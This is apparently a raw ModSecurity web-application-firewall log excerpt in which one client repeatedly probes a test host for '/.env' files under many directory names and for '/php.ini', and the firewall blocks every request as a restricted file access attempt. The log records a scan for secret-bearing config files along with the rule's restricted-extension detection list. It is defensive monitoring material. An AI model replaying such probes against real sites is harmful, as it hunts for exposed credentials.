&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7gAAAAU&quot;]
[Thu Feb 26 01:03:12.607986 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7gAAAAU&quot;]
[Thu Feb 26 01:03:12.608134 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7gAAAAU&quot;]
[Thu Feb 26 01:03:12.631557 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /page-editor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7wAAAAU&quot;]
[Thu Feb 26 01:03:12.631777 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7wAAAAU&quot;]
[Thu Feb 26 01:03:12.631936 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7wAAAAU&quot;]
[Thu Feb 26 01:03:12.658623 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8AAAAAU&quot;]
[Thu Feb 26 01:03:12.658846 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8AAAAAU&quot;]
[Thu Feb 26 01:03:12.658991 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8AAAAAU&quot;]
[Thu Feb 26 01:03:12.680369 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /parity/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8QAAAAU&quot;]
[Thu Feb 26 01:03:12.680592 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8QAAAAU&quot;]
[Thu Feb 26 01:03:12.680731 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8QAAAAU&quot;]
[Thu Feb 26 01:03:12.712392 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /passportjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8gAAAAU&quot;]
[Thu Feb 26 01:03:12.712618 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8gAAAAU&quot;]
[Thu Feb 26 01:03:12.712770 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8gAAAAU&quot;]
[Thu Feb 26 01:03:12.736683 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /patchwork/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8wAAAAU&quot;]
[Thu Feb 26 01:03:12.736941 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8wAAAAU&quot;]
[Thu Feb 26 01:03:12.737085 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P8wAAAAU&quot;]
[Thu Feb 26 01:03:12.778021 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9AAAAAU&quot;]
[Thu Feb 26 01:03:12.778228 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9AAAAAU&quot;]
[Thu Feb 26 01:03:12.778412 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9AAAAAU&quot;]
[Thu Feb 26 01:03:12.872172 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pfbe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9QAAAAU&quot;]
[Thu Feb 26 01:03:12.872407 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9QAAAAU&quot;]
[Thu Feb 26 01:03:12.872559 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9QAAAAU&quot;]
[Thu Feb 26 01:03:12.903055 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9gAAAAU&quot;]
[Thu Feb 26 01:03:12.903520 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9gAAAAU&quot;]
[Thu Feb 26 01:03:12.903671 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P9gAAAAU&quot;]
[Thu Feb 26 01:03:13.601158 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pictures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElIgAAAAM&quot;]
[Thu Feb 26 01:03:13.601432 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElIgAAAAM&quot;]
[Thu Feb 26 01:03:13.601631 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElIgAAAAM&quot;]
[Thu Feb 26 01:03:13.641020 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElIwAAAAM&quot;]
[Thu Feb 26 01:03:13.641291 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElIwAAAAM&quot;]
[Thu Feb 26 01:03:13.641473 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElIwAAAAM&quot;]
